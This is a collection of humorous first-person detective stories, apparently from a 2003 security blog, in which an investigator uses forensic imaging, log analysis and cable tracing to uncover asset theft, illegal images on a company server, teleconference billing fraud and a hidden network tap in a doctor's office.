The Security Monkey Case Files on This Insecure World

01. Case of the Arrogant Ebayer

Mon, 21 Jul 2003 00:00:00 +0000

Part I · Jul 21, 2003

Sandy constantly struggled with her PC. Working for a small repair company was a lot of fun, but dealing with the constant loss of network connectivity, software crashes and freezes was just too much.

“Bob, this is Sandy” she said into her cellphone. “Can you come up here and look at my PC again? It’s frozen!”

“Um, did you CTRL-ALT-DEL a few times? Maybe try recycling the power? Ya know, reboot?” Bob responded in his best I-hate-being-the-admin-of-this-small-company-network voice.

“Nevermind Bob!” Sandy responded as she slammed her cellphone shut. She often wondered what the point was of paying a sysadmin that didn’t administer any systems, her workstation included….After her PC boot, Sandy logged back into the network only to find that her primary application, Quicken, was nowhere to be found on her desktop or in her program directory.

“DARNIT! How did that happen? Well, I guess I had better reinstall - of course I’ll need to visit Bob now and get the CD. Lucky me!” Sandy told herself.

Sandy decide to wait until lunch time - a time when she knew Bob would be out of the office. Bob was known to take two hour lunch breaks, so she had plenty of time to get the CD, perform the install and return the CD before he returned to the office.

A quick jog downstairs and some creative pathfinding found Sandy in Bob’s small, poorly-lit and extremely warm office.

“How does he survive down here?” Sandy thought.

Sandy rummaged through all the file cabinets, Bob’s desk drawers, the supply cabinets…. the Quicken CD was no where to be found.

As a matter of fact, Sandy couldn’t find ANY software CD’s.

Sandy noticed a large gym bag under Bob’s desk. Upon closer inspection, Sandy found that it contained Bob’s workout clothes and some balled-up papers.

“EWWWWW!” Sandy exclaimed as she dropped a stained pair of socks. Before she could zip the bag up, a familiar logo on one of the balled-up papers caught her eye.

It was the eBay logo - and Sandy had a feedback count of 312. She was an eBay expert.

Unwrapping the paper, Sandy was surprised to find that the paper was a printout of a successful auction.

“Maybe Bob is selling his car on eBay?” Sandy wondered. As she examined the paper closely, she noticed that Bob was the seller… his ID was a dead give-away… “BobWeaverAZ”.

But what really caught her eye was the item being sold.

A piece of software in the box, including CD, manuals, and the EULA (end user license agreement).

It was a copy of Quicken.

[Continued in Part II]

Source: archived original

Part II · Jul 22, 2003

“No flavored creamer? What the hell?” I thought as I ravaged the company coffee stand. This cup of pure Peruvian Organic delight was going to taste rather bland without some hazelnut goodness added. Oh well. I had to remember that this was a small company and people pretty much brought whatever they wanted to drink with them from home.

“Hey Chief, you made it!” a familiar voice yelled my direction. It was Sandy, a former coworker of mine from way back. Sandy had called me to her new digs, a small electronics repair company, to investigate some missing software. “Some software SHOULD go missing” I mused to myself, remembering Microsoft Bob. shudder

“Come into my office, we have a lot to talk about.” Sandy said as she bounced around the corner into her office. “I need some professional help.”

“I’ve been telling you that for years.” I sassed back, wedging myself into a strange metal chair that just needed a power source and some wires for a lively game of capital punishment…“Here’s the scoop.” Sandy began. “Our Sysadmin, Bob, is the resident… oh what did you used to call them?”

“BOFH?” I replied. “Bastard Operator From Hell?”

“Yes! That’s him. He can’t stand to be bothered when we need help, we’re not quite sure what he does on the servers, and he never seems to be ‘around’ when you need him. "

“Tell me something new Sandy.” I said matter-o-factly. “BOFH’s have been around a long time. They’re like luggage, and just as hard to get rid of sometimes.”

“Well, we think we’ve found a way. The president of the company and I suspect that Bob is selling company assets on eBay.” Sandy said with a scowl. “I found these printouts of auctions in his gym bag under his desk. You’ll notice that he is the seller on all the auctions, and the items in the pictures we’ve traced as being assets. Look at the serial numbers of the software in the pictures! We’re registered to the serial number! Unreal!”

“Fascinating.” I blurted out in the middle of examining the papers. “Have you confronted Bob about this yet? "

“Yes, this morning.” Sandy said. “However, he claims that someone used his ID to sell the items on eBay. He was upset, so we let him go home for the rest of the day. It’s not like we’re not used to seeing his chair empty in his office.”

“Has he been back into his office since you sent him home?” I asked.

“No.” she responded.

“Does he have remote access to the network from home?” I asked her, raising an eyebrow.

“No. At least I don’t think so.” Sandy replied in a hushed voice.

I rose from my chair, and made a bee-line for Bob’s office.

“Where are you going?” Sandy yelled from behind her desk.

“To catch a thief.” I replied.

I only hoped I wasn’t too late.

Source: archived original

Part III · Jul 23, 2003

“What a mess!” I thought to myself, pouring over the contents of Bob’s “desk”. Desk would be a misnomer - more like “place to throw all my stuff, food wrappers, empty soda cans and used tissues”. I haven’t been this nauseated since the time I accidentally watched the Rosie O’Donnell show… or was that Oprah.

A folder in one of the desk drawers contained a network diagram that had actually been updated in the past year. I was impressed.

Glancing over the document, it appeared that the office had a single outside network connection. It was a fractional T-1 connected via a large national provider. There appeared to be a firewall in place between the internal network and the border router.

A wireless scan for rogue access points produced nothing. Hmmm.

“Sandy - do you have any POTS lines into this building?” I yelled down the hall. My voice trailed off as I noticed a phone cord running behind the bookcase to my left and heading towards the PC computer on the floor….“Why does he have a phone cord plugged into his PC?” Sandy asked me. “I thought we only had one POTS line - and that went to the fax machine in the next room.”

“Looks like he split the line” I said. “Sandy, I’m going to need to do a forensic analysis of his workstation to prove anything. Has anyone touched his machine since he left?”

“No - are you kidding? Nobody WANTS to come in here. It’s like a sauna!” Sandy joked.

Twenty minutes later I had retrieved “Roscoe” from the trunk of my car. Roscoe is a portable forensic analysis workstation that I carry with me for just this type of occasion. “All I need now is a laptop named Enos” I mused.

I took several pictures of Bob’s workstation, showing it’s location, cords, serial number and asset tag number. I then unplugged the power cord from the back of the PC, and heard the workstation die in protest.

“Chief, what are you doing? Doesn’t that hurt the computer?” Sandy exclaimed.

“It’s the best way to preserve the state of the machine, especially since it’s running a Windows operating system.” I responded. I continued to amuse Sandy with tales of how the Windows swap file is a treasure trove of information, and I didn’t want to take the chance of modifying anything on the drive.

I proceeded to take pictures of the inside of the machine, noting serial numbers, brands of equipment, etc.

Instead of removing the hard drive from it’s restraining bracket, I simply placed the ’leech’ IDE cable from Roscoe onto the drive with a write-blocker in place. I powered up Roscoe and proceeded to make an image of the disk drive using Encase, my tool of choice.

“Time to find a good sandwich shop” I announced to Sandy. The drive copy was going to take about an hour to complete.

“What are expecting to find on the drive, Chief?” Sandy kept asking me.

“Fingerprints” I responded.

Source: archived original

Part IV · Jul 25, 2003

“I sure am glad this guy only had a 9GB harddrive in this machine.” I thought to myself while watching my forensic toolkit application load the captured image of Bob’s workstation into memory. The thought of having to look through another 100GB image of files was a recent painful memory from another case I had worked on.

Beep!

The image had finished loading. Now was the time to start scanning through the contents of the drive…. (quick aside) I like to make lots of notes during a forensic analysis - that way I can always backtrack to a certain file should the need arise.

One of the first notes I had made for this casefile was that Bob’s PC has a system clock that was off by 10 minutes. Apparently Bob never paid attention to what time it was, or he liked to be late to everything. Developing a time delta is important, because it’s typically your best reference point in reconstructing events between the PC and the world. (/quick aside)

“Need some coffee Chief?” Sandy asked about 10 seconds before she appeared at the doorway to Bob’s office.

“Yes please - and find some flavored creamer, will ya?” I rattled back.

I was making great time going through hundreds of web page fragments that I had found in cache files, temp files, swap space and slack space on the drive.

“I guess he likes Russian women and viagra.” I joked to myself as I made some notes on Bob’s internet usage habits.

“Here ya go!” Sandy proudliy announced as she placed a hot mug of joe on the desk in front of me.

“Sandy, do you know who your company attorney is? I asked as I burned my upper lip on the fresh coffee.

“Sure - Peter Nelson. Why?” Sandy asked - obviously puzzled by my request.

Doing a quick stretch of my arms in an effort to release the building tension on my shoulders, I slipped the glasses off my nose and placed them on the desk.

“Get him on the phone. This is way beyond eBay.”

Source: archived original

Part V · Jul 29, 2003

To the common Joe, cigar smoke is categorized into two flavors. The first is “full-bodied, rich and melodic” - the second being “oh my God! Someone is smoking a cigar! Oh I’m going to puke!”.

Peter Nelson’s office was like stepping into a humidor in a fine cigar shop. Cool, humid and reeking of tobacco leaves. Sixty seconds after walking in the door I was addicted to nicotine.

“So this is the great Gatsby! What does Sandy call you… Chief?” Peter bellowed behind his large mahogony desk.

“I’ve been called worse.” I thought, remembering an angry ex. “I have a picture show for you Peter, and you may want to add a scotch to go with that Cigar.”

The befuddled look on Peter’s face amused me in a strange, primal way. Almost like I had called his mother an ambulance-chaser.

The lits dimmed, the LCD on my linux laptop released a glowing shower of illuminating pixels, and I slammed the last of my flavored coffee down….“Your company is harboring illegal activity.” I announced.

Peter fidgeted in his seat. “Excuse me?” Peter asked.

I switched to a different slide in OpenOffice’s Impress (powerpoint for all you Windows folk) and began the tale.

“Your system administrator, Bob, has been selling company assets such as software licenses, software media and hardware on eBay and a number of other online marketplaces.” I said.

“Yes, I’m aware of THAT!” Peter snapped back. “So we scare him, let him go, hire somebody else. Big deal. What is this illegal activity crap?”

“Peter, do you understand the term ‘minimum necessary access’? " I asked.

“Hey, I wasn’t born yesterday! Yes - employees only have access to information that is required of their job description - any good attorney nowadays has heard of it.” Peter replied.

“Well, Bob has access to everything witin this company - including e-mail, financial data, payroll, your website, your databases…”

“YES! Ok, but he’s the only one that knows how to access the systems. We’re not that big of a company and it’s normal for him to access all of that stuff.” Bob said, clearly becoming agitated with me. “He makes sure the orders get into the database via the website, updates the website pages with data from our files, blah blah blah.”

“Or his files?” I inquired.

click

The next slide appeared on the laptop.

Peter was stone faced. So much so that I was tempted to check his vitals for any sign of life.

“What… the… what the hell is that?” Peter stammered, pointing at the slide.

“It’s an eight-year old girl.” I replied.

(final installment of this case is tomorrow!)

Source: archived original

Part VI · Jul 30, 2003

You could hear a pin drop. The boardroom of the company was cold and stocked to the hilt in mahogony furniture.

“If only I were a termite!” I thought.

My attention was diverted to the CEO as he spoke to the other members at the table: the CFO, Peter, Sandy, and the human resources manager.

“We’ve all sat through the Chief’s presentation, and we’re aware of what one of our employees has been doing over the past year. I’d like for the Chief to walk us through how he found this information and what we should do next.” said the CEO in his best “oh my God we’re all doomed if this gets out to the public” voice.

Coffee in hand, I walked to the front of the boardroom, hooked my linux laptop to the LCD projector and began discussing the notes of my investigation…(aside) As you’ve probably noticed, a good part of my time is spent giving presentations and discussing procedures and facts. This is the hard part - explaining forensic evidence to people who are not necessarily technical folks, and not losing them in legal jargon or FUD [fear, uncertainy & doubt]. (/aside)

“Ladies and Gentleman, you’ve read my prepared case notes surrounding this incident, and I’d like to elaborate on several points.

I was called to investigate the apparent theft of company property by Bob.

I surmised through a forensic investigation of Bob’s workstation that he was, in fact, advertising for sale company assets, collecting funds for the assets via Paypal and shipping the items using the company fedex account.

During the course of this investigation, I discovered traces of images on Bob’s workstation that were clearly nude pictures of children. The pictures were downloaded using Internet Explorer, and were part of several webpages - webpages that originated from this company’s web server.

I discovered traces of IRC and ICQ conversations between Bob and other people regarding the acquisition, trading, storage and distribution of these types of images.

A snippet of one conversation detailed Bob’s plans to allocate 5GB of drive space on the company’s web server for the safe distribution of these images. The directory structure of the site was well hidden under a virtual directory called ’test’. Below this directory were web pages that contained thumb-nail galleries of the pictures.

I also recovered FTP logs on Bob’s workstation and the web server that clearly show when and where the images were put. Examination of these logs showed that the time the images were uploaded from the workstation and received by the server were off by exactly 10 minutes. Bob’s workstation is 10 minutes off from the webserver’s clock which is sync’d like the rest of the network using an NTP (Network Time Protocol) device.

According to the webserver logs, there have been over 30000 hits to this protected directory from approximately 400 different hosts around the world in the past year alone. " I said, pausing to drink some coffee.

“I have prepared a formal report which has been provided to you in hardcopy and electronic format. I have given Peter a forensically-sterile copy of all of the electronic evidence I have collected, along with the chain-of-custody documents. It is my understanding that Peter will be contacting the Crimes Against Children task force of the FBI. Correct Peter?”

“Yes. The board has voted to hand over all evidence to the FBI. This is not something we want to brush under the rug, so to speak.” Peter responded.

I closed my laptop, threw my styro coffee cup in the garbage and headed out of the boardroom to the elevator.

I wondered to myself how many companies (especially large companies) brush this stuff ‘under the rug’? How many of these crimes go unpunished? How may of these types of crimes are not investigated using proper procedures and are torn apart in court?

As I pressed the ’lobby’ button on the elevator, I thought about the kids in those pictures. I wondered to myself “who is THEIR voice in all of this? Who fights for the children?”

I approached the glass door of the lobby, bumping it with my laptop bag. I caught a reflection of myself as I opened the door.

“Oh yeah” I thought.

I fight for them.

Source: archived original

02. Case of the Talkative Terrorist

Fri, 01 Aug 2003 00:00:00 +0000

Part I · Aug 1, 2003

“Chief, you want anything from the Coffee Shop? We’re making a run!” Mike announced in the doorway of my office.

“Do you have to ask? Coffee of the day - hazelnut flavoring - and make sure you get a cup condom - I don’t want to burn my hands on their cups.” I replied, half laughing at myself for using the word ‘condom’ in regards to coffee.

The mood in the office had been quite somber in the past week. The date? September 18, 2001.

Fear. Anger. Outrage. These feelings raced through my system like a bad burrito with sour cream. Only a week had passed since the worst terror attack the United States had ever witnessed.

The glow of the Sun CRT on my desk lit up my spectacles as I browsed through CNN.COM.

“Bad news…. bad news… bad news… oh look, someone rescued a kitty from a well. How refreshing!” I said to myself, waiting for that cup of coffee that was taking way too long to get to my desk.

ring

Glancing at my office phone, I saw that one of the fraud investigators was calling. Being the ISO at a small telecom was an interesting experience to say the least.

“I hope this isn’t about my last expense report.” I mused as I picked up the phone.

“Chief? It’s John. Can I run something by you? " he asked.

“Sure, as long as you bring me coffee.” I replied….“Okay, I’ve been working fraud for five years, and I can’t make heads or tails of this!” John exclaimed as he slammed two large binders of dead tree on my desk.

“We have a user of our teleconferencing service who ran up $4000US in charges. His credit card was denied. I called the user, they pleaded ignorance and gave me another card number. That was denied as well, and now the user has disappeared! We can’t contact him at the numbers he provided us.” John said.

“You called the card issuers, right?” I said, cutting him off. “Stolen cards?”

“Good guess. So I had services flag the account for non-payment and it’s been deactivated.” John said as he took a sip out of MY coffee that he had brought ME.

“I’m not hearing anything new here John. What’s got your goat?” I asked, watching him drink more of MY coffee.

“Oh yeah… sorry. Well I had my two junior analysts start cross-referencing all the teleconference connections, and… well… we can’t find them.” John replied nervously. “It’s like they never existed, yet they ended up in billing!”

“What? The system doesn’t allow that to happen.” I spouted back. “Are you sure your monkeys aren’t eating fermented bananas over there?”

“Checked it myself. Help!” John pleaded as he went back to his desk.

“Hmmmm. Missing references in the calls database. Stolen credit cards. Disappearing users. Guess I’d better order in lunch today.” I remarked to myself as a I poured over the thousands of pages of information now occupying my desk.

I was intrigued. Our system was designed to record every call into our distribution system, and every call from an outside system that joined our teleconferencing system. The calls were referenced by a CID (Caller Identification Number) that is composed of the calling phone number, network id, etc. It’s essentially a big long string of characters like a VIN (Vehicle Identification Number) where every letter and number means something. Yet, these teleconferences had ‘ghost’ connections - no CID.

“Where are the ghostbusters when you need them?” I muttered angrily, wondering where the hell my Coffee Shop coffee was.

A few hours had gone by, no coffee, but lunch showed up in the form of a delicious sliced beef sandwich with au jous. Then I saw it.

“Holy crap!” I said to myself as my sandwich fell out of my mouth. I grabbed my phone and hit the ‘quick-dial’ button for telecom operations.

After two quick rings I was greeted with “TELOPS. Frank speaking.”

“Frank, Chief here. I need you to assemble the system developers, the database guy and anyone else that knows how the routing system works NOW. Conference room 2 in 30 minutes.” I barked into the phone.

“10-4” Frank replied.

Time for an exorcism.

Source: archived original

Part II · Aug 4, 2003

“Why is it so cold in here?” I muttered, looking around Conference Room #2 for a thermostat. I was half-tempted to start cutting a hole in the floor and start ice fishing.

One by one the critical members of the TELOPS development team scampered into the conference room. Nobody likes to be ushered away from real work to an impromptu meeting, but these guys expect last-minute meetings from me - the evil security guy.

“Uh-oh. Chief has a live one.” joked Pitre, noticing the stacks and stacks of dead tree surrounding my position at the head of the conference table. “And me without my PDA!”

“Quiet you!” I joked back while motioning for Mr. SmartySwede to close the door behind him.

I dimmed the lights in the conference room, unlocked the screensaver on my linux presentation laptop, and welcomed the team with slide #1:

“The system is haunted”…I quickly brought the team up to speed on my phantom records.

“The real kicker isn’t what you’re seeing on the paper, but what’s NOT on the paper. If you’ll examine the teleconference logs, you’ll notice that not only is the CID missing, but the OCN (Originating Connection Network) is zero.” I said.

“Chief, we don’t have an OCN with an ID of zero - that must be a table-level error in the database.” Pitre speculated.

“Wrong - I’m querying the database now, and the rows for these records do indeed have zeros in them.” announced Andre, our resident DBA lord as he glanced over the scrolling text on his laptop.

“Then there’s an error in the population application - we’re not reading the OCN correctly at the point of hand-shake.” spouted Phil, one of the application developers.

“Can you verify your code?” I asked Phil while generously offering Phil the laptop of Andre.

“I’m only one SSH session away from answering that question.” joked Phil as he typed fevorishly on the laptop.

A few minutes of pondering and questions had gone by when Phil announced “Well, there goes that theory - CVS shows no changes to the production code in 3 weeks, and I just walked a connection through the entire application - flawless.”

“Let’s look at where we’re at here. The record of the teleconference IS hitting billing, so we know that process is working. Billing is reporting what it’s handed - so something is amiss in the telops infrastructure.” said Andre as he clawed at Phil to return his prized notebook.

I sat for what seemed an eternity listening to the team volley ideas, speculations and accusations around the table. In between two sips of cold coffee, I turned to Phil and injected my thoughts into his conversation. “Phil - in the code snippet that you walked me through, you’re more or less doing a case-by-case ID assignment based on OCN, correct?”

“Yep.” Phil replied. “Why?”

“And those OCN’s are fed by the provider..” I trailed off.

“Yes, yes…” Phil nodded his head.

“But we’re counting on the provider to do some homework while making the connections - and if they fell down while doing their accounting…” I trailed off yet again, lost in thought.

“We’d still see the handoff phone number!” Phil said, glancing around the table at befuddled team members.

“Not if the connection is another… teleconference!” I blurted out in mid-thought.

“Huh?” Phil asked. “You’re saying…”

I stood up in front of the table and rolled a fifty-page diagnostic from one of the calls out onto the conference room table.

“The bastards are conference jumping - and they’ve just found a hole in our system that didn’t show up because nobody is looking for this sort of thing - until the next billing cycle comes up - and then it takes 30 days for fraud to be notified. Sixty days of anonymous connections with the system!” I exclaimed while shuffling around more dead trees, trying to find the phone number of the ISO at one of our largest providers.

As I hit the speakerphone button on the phone on the table and dialed his number, my heart was racing because I already knew what he was going to tell me.

He had ghosts on his network too.

Source: archived original

Part III · Aug 5, 2003

Spending all day on the phone can have some strange psychological effects on a person. For instance, you sit down at a restaurant afterwards and give your order to the little shiny box in the center of the table. Then you realize “Hey, that’s a napkin holder! Not a speakerphone!” The glaring eyes of the people sitting around you is rather amusing though. Like THEY have never talked to a napkin holder before.

Our conversations with our providers’ ISOs (Information Security Officers) were very productive. It would seem that all of the providing networks which feed teleconference callers into our system had the same ‘ghost’ records in their billing systems. Most weren’t aware of the problem until our phone call.

One particular provider was especially helpful, and I had worked with their ISO on a number of occasions relating to inter-network security. AJ was an all-around cool guy, former black hat-turned-white hat and pretty darn funny. We decided that we’d work together as a team on this investigation.

We started off backtracking connections to the teleconference systems call by call. It was a very slow, painful process that took several hours. The clock was flirting with midnight when AJ called my office.

“Chief - you’ll never guess what I did.” AJ asked.

“Fell asleep at your desk and were woken up by that annoying beep that the spacebar makes when your head slams into it?” I replied in my most groggy kermit-the-frog sounding voice.

“Nice try, but no. I found an originating phone number into a teleconference that started on my network and jumped to yours!”

I almost dropped the phone.AJ and I were both exhausted, so we agreed to call it a night and start again in the morning.

One pot of coffee and 6 hours later I was back in the office and my mind was racing. Almost on cue my phone rang - it was AJ.

“We ran a records trace on this number last night.” AJ said. “You asked me for the last three months of call data, and boy do I have a present for you!”

“How much data are we talking?” I asked apprehensively.

“I just dropped you a PGP-encrypted email with a document attached. This guy was BUSY!” AJ laughed.

“What do you mean?” I queried as I popped the passphrase into my mail client. “Busy as in ordering undies from Macy’s or what?”

“Busy as in calling all over the damn world!” AJ said in a now-increasing southern accent.

I examined the document AJ sent, and made notations on countries, times, dates… trying to wrap my mind around what this guy was doing with our systems. The caller was dialing locations in England, India, Pakistan, Afghanistan, Iraq, Kuwait, Germany… but the calls were short - under a minute. And then the same teleconference network received inbound calls from those same countries within minutes.

“And Chief, it gets even more interesting. Flip to the last page of the report.” AJ said.

I quickly flipped to the back page marked “Reverse Number Lookup”.

“Ah, cool. You found the location that this number belongs to!” I exclaimed.

As I read through the detail dump, the report almost fell out of my hands.

“AJ, this address is 2 blocks from where the world trade center stood! " I blurted out.

The coincidence was astounding.

Time to call the FBI.

Source: archived original

Part IV · Aug 6, 2003

“Um, I’m new to this region - how do I get to your office again?” asked Special Agent Jones. He had called me on my office number from a pay phone.

After giving SA Jones driving directions in excruciating detail, I hung up the phone and alerted my secretary that we’d be having a visitor shortly.

“No wonder they never found Jimmy Hoffa” I cackled as I placed the finishing touches on the three-ring-binder holding all of the information that SA Jones requested. I burned a copy of all documents, reports, and files to a cd-rom for their convenience. I imagined that the FBI would have an easier time grepping through a million lines of information in digital form than paper.

I carried the binder and CD into the office of the company Attorney, alerting him that the FBI was going to present us with a warrant for the information. The look of relief on his face was a sight to behold - if you were into bulldogs I guess.

buzz

The intercom in my office crackled loudly.

“Chief, you have a visitor from the FBI waiting in the lobby.” announced the receptionist.

“On my way.” I said to myself as I broke into a quick trot down the hallway.SA Jones looked a little frazzled sitting in the lobby. He was outfitted in the standard “look at me I’m a federal agent” outfit. Short-sleeved dress shirt, ‘outback’ vest, and tan SWAT pants. His badge and gun clung to his waistline like a couple of Krisy Kreme doughnuts.

We settled down in a conference room close to the entrance, and I presented SA Jones with a fresh cup of coffee.

“Any flavored creamer?” he asked.

“I like this guy already!” I mused.

SA Jones presented me with a warrant for the information, which I glanced over and gave to the receptionist. She walked the warrant to the Company Attorney’s office.

“I have to say Chief, this is impressive” SA Jones said as he flipped through the book. “You wouldn’t believe the type of evidence that people give us - we usually need a team of SA’s just to organize it into something understandable.”

“We aim to please.” I joked.

“We’ll contact you if we need more information or clarification of what you’ve given us. You might want to give me your SSN just in case you move on to another company. We have ways of finding you.” SA Jones said with a half-smile on his face.

I escorted SA Jones out of the building, and returned to my desk. I knew that I should be feeling happy that I was able to assist the FBI in an investigation, but I was frustrated… frustrated that my contribution ended with me passing SA Jones the book.

Two weeks later, I was contacted by SA Jones. They had some ‘hits’ on some of the phone numbers that were in our notes, but that was all that he could tell me.

(fast forward to today)

Sitting in my living room at home and watching CNN I see that more suspected terrorists were found around the world.

I always sit and wonder… did the information that I helped discover have anything to do with their capture? Did a phone number lead them to a person who knew something about somebody’s half-sister that was involved with a brother of someone who likes to blow up innocent people?

The great thing about information security is that you never know what you’ll find while looking for the truth… like finding out an employee is selling confidential information to the black market for extra spending cash.

Special Agent Monkey is on the case.

Source: archived original

03. Mysteriously Missing Records

Wed, 20 Aug 2003 00:00:00 +0000

Part I · Aug 20, 2003

Speed. I could not believe the speed of the computer that was in front of me. I had just received a Sun Ultra 60 dual-processor workstation, and I was carefully performing a stage1 install of Gentoo Linux on it. My office was alive with the magical hum that only a Sun powersupply can provide.

“Sweet Gina! Look at the compiler go!” I blathered as my eyeballs followed the code scrolling accross the console.

ring The phone rang impatiently.

“I hope this isn’t that gal I spilled beer on last night in the bar!” I thought to myself as I pressed the phone to my ear.

“Chief? Hi, my name is Debbie. I’m the receptionist at your Doctor’s office!” came a perky voice over the phone wire.

“Oh my God! You goofed on my test results!” I shrieked, clutching my chest in perhaps the best Fred Sanford impersonation ever performed by a white man.

“No, no silly! I still have your business card from the last time you came in and asked me out. Remember? I turned you down?” She said as I managed to stand back up.

“Uh, yeah sure! Hey I didn’t spill beer on you last night did I?” I asked

“Huh?” She replied.

“Nevermind.” I said in a sigh of relief. “What can I do for you, since we obviously aren’t going out on a date?”

“The Doctor would like to talk to you… about a theft in the office.” Debbie said, taking a much too serious tone.

“Tounge depressors?” I quipped.

“No - Patient Records.” Debbie shot back…“I’ll be right there.” I said as I looked around for my car keys.

The Gentoo compile would have to wait.

An hour later I was seated in the waiting room of my doctor’s office. Reading material was in abundance, but the quality was questionable… unless you like Oprah magazine and The New England Journal Of Medicine.

“Chief? The Doc will see you now.” Debbie said, opening the mysterious door-of-wonders that led from the waiting room to the “hallway of examinations”, commonly referred to as the “freezing meatlocker from hell” by most patients.

I seated myself on what appeared to be a vinyl chair wrapped in wax paper, and Debbie closed the door behind her as she returned to the reception area.

“I hope this appointment doesn’t involve me dropping trou” I mused.

“Chief! How are ya!” the Doc said as he bounced (literally) into the examination room. This guy has more energy than a roomful of third graders during a snack break.

“Good. I hear you’re missing some patient records?” I asked.

“Yes, I’m afraid I am. " He replied as he sat next to me on the finely-wrapped vinyl table.

“How did this happen?” I asked.

“Well, we just started using this document imaging software. We’re moving the paper records to electronic you know… and we noticed that a few days this week we were missing records from the database. Scans that we know we put in, but they don’t show up!” the doc said.

“And you’re sure you’re using this thing right?” I joked, getting the ‘duh’ look back from the doc.

“Yes, we’re using it the right way. Can you take a look?” he pleaded as we left the examination room and entered the office area.

The Dell PC was on, running Windows XP.

“Gag me.” I muttered.

I ran through a quick cursory examination of the operating system, settings and the application.

“Doc, are you working your staff late, or what?” I said, flipping through the application logs.

“Hey, this is a doctor’s office. Everybody goes home at … " he began.

“3:10am?” I asked.

Someone was performing an invasive procedure on this system.

[Continued in Part II]

Source: archived original

Part II · Aug 22, 2003

“Doc, you really need to get a better quality of coffee bean in here.” I muttered as I emptied the coffee pot into my road-worn styro cup.

I had been in the office all afternoon and most of the evening, pouring over system and application logs.

At first glance, it appeared to me that a user was logging into the application around 3:00am over the past week and searching for records. Once the target records were found, they were removed from the system.

The application stored all the documents in PDF format. The scanning engine did a great job - I was astounded at the quality of the scans.

Turning back to the system log files, I spied an unknown ip address…I had attached my laptop to the network earlier and made a nice nmap scan history of the entire network. There were just a few nodes.

192.168.1.1 - Netgear router to the internet w/firewall rules in place. 192.168.1.10 - Officemanager’s computer (the one I was on) 192.168.1.20 - JetDirect Printer 192.168.1.11 - Doc’s PC in his private office 192.168.1.254 - My laptop (I chose 254 because it was free, and was clearly different than the other devices)

The unknown ip address was 192.168.1.100. Hmmm.

I verified that no other portable devices were ever brought in or attached to the network.

I performed a wireless network audit using Kismet… no access points, no traffic at all. Hmmm.

I verified the location of all POTS phone lines. Only one for the fax machine.

“Me thinks we have a phantom machine on the network.” I thought to myself.

After downing the last of my coffee, I got down on my hands and knees and started tracing CAT5 network cable.

I traced the machine I was on to the wall jack, and the same for the printer and doc’s computer.

“I wonder what’s down the rabbit hole?” I mused as I unlocked the phone room door to the office.

I quickly located the patch panel for doc’s office, and traced each connection back to the netgear switch.

One cable to the internet… One cable to the office manager PC… One cable to the printer… One cable to doc’s PC… One cable to the spare CAT5 jack in the office… One cable…

One more cable? What?

The cable ran behind the Netgear device, down to the floor, and then snaked back up the wall into a removable ceiling tile.

Doc’s network was tapped.

Source: archived original

Part III · Aug 27, 2003

“MY EYES! MY EYES! DEAR GOD MY EYES!” I cried to myself as I happened to notice that the Sup had a severe case of plumber-crackitis.

“Alrighty, there ya go. You mess anything up and you gotta pay for it!!!” the Sup said as he staggered down the staircase. I climbed the ladder, and stuck my head into the crawlspace. Reaching for my trusty maglite, I noticed the smell.

Garbage. Ewwwww. Crawling about twenty feet, I located the CAT5 cable snaking up from the doc’s phone room. Using my maglite to follow the cable’s path, I noticed something most peculiar…A small 4-port hub. The doc’s cable was inserted into a port, and another cable was running from the small hub to a hole about 3 feet away.

Rolling onto my back, I looked at the floorplan that Mr. CheekCracks gave me, and stared in disbelief.

“Why would a cable be running to an empty suite?” I pondered.

The hub was powered on, so obviously that suite has electricity still.

I crawled out of the crawlspace and made my way back down the stairs and headed towards the sup’s office.

“Hey Sup, who was the last tenant of 110?” I asked loud enough to be heard over his radio-broadcast baseball game.

“Nobody. Nobody has ever been in that suite. I use it to store stuff.” the Sup yelled back, fixated on the tiny talking box.

“Can I look around in there?” I asked again in an even louder voice.

“Who are you, Magnum PI? Ah, whatever.” the Sup responded as he threw a keycard my way.

I left the Sup’s office in a hurry and made my way to suite 110. The door was locked. I used the keycard to unlock the door, and clicked the light switch.

Flourescent lights lit up the room, and I was greeted with about 30 large boxes of… crap. As I made my way around the boxes, I located a storage room . At the top of the storage room I saw the mystery CAT5 cable and a power cord running down the wall to a makeshift shelf.

Out of the corner of my eye, I noticed a 5-gallon bucket with a piece of canvas thrown over the top. The canvas wasn’t dusty like everything else. Hmmm.

I lifted the canvas slowly, remembering a recent encounter with a midget and a jack-in-the box, and flipped on my maglite.

“Nice laptop.” I mused.

Time for a stakeout.

Source: archived original

Part IV · Aug 29, 2003

“Thank heavens for Starbucks!” I stammered as I downed the last of my calorie-heavy coffee creation. I had been sitting in my car for about four hours. A quick check of my watch showed that it was 2:55AM and counting.

I flipped open my trusty linux laptop and finished up my case notes. I had more questions that answers at this point. Why a hub in the crawlspace? Why not just run a cable? I was just organizing a list of geek toys that I was going to buy with the fat investigative bill I was going to present to the doc next week when a flash of headlights caught my attention.

In what seemed like a total retro-moment in time, a VW station wagon pulled into a parking spot about 4 spots south of suite 110. Out stepped a young male, early 20’s, ponytail, ballcap and a smoldering cigarette. He was carrying a small nylon overnight bag over his shoulder.

I observed the subject entering the suite with a keycard. The lights were not turned on. Hmmm.

I pulled my car on the side of the building, and crept back up the stairs and into the crawlspace.

The journey through the crawlspace took a bit more time than yesterday, but moving quietly can be a challenge sometimes.

I made my way to the hole in the ceiling above suite 110, and peered down into the storage room.

The subject had removed the laptop from the bucket, and plugged the CAT5 cable into the ethernet port. While the laptop was booting, the subject lit up another cigarette and proceeded to remove a cellular phone from his bag.

I couldn’t make out the conversation, but I could see that the laptop was booting into Windows 2000 Professional. While talking on the phone, the subject proceeded to visit several adult-oriented sites, dating sites, and was using instant-messaging software.

Twenty minutes later the subject picked up his cellular phone again, quickly closed all the windows open on the laptop, and proceeded to perform some commands at a command prompt. Within seconds I recognized a familiar window on his screen.

It was the document imaging software that the doc was using.

The subject proceeded to use the system for approximately twenty more minutes, made a phone call, removed what appeared to be a mini-USB hard drive from the back of the laptop, shutdown the laptop and left the area.

“Fascinating.” I thought to myself. “I need to examine that laptop.”

I made my way back down the stairs and crept slowly to my car. A quick glance around the parking lot showed that the subject had left.

I opened my trunk, removed Rosco (my portable forensic workstation) from my trunk and entered Suite 110.

I walked to the storage room, and noticed that the subject had returned everything to their normal places.

“Well, he’s a tidy little freak, isn’t he?” I joked.

I set Rosco up on a box that I removed from the corner of the room. I took several pictures of the area, the bucket, the laptop, and made some notes in my journal.

I put a pair of surgical gloves on and removed the laptop from the bucket. As I turned the laptop over so that I could take a picture of the serial #, I saw something that I couldn’t believe.

“Property of Newman Investigations. Reward if found.”

Looks like Magnum was involved in this after all.

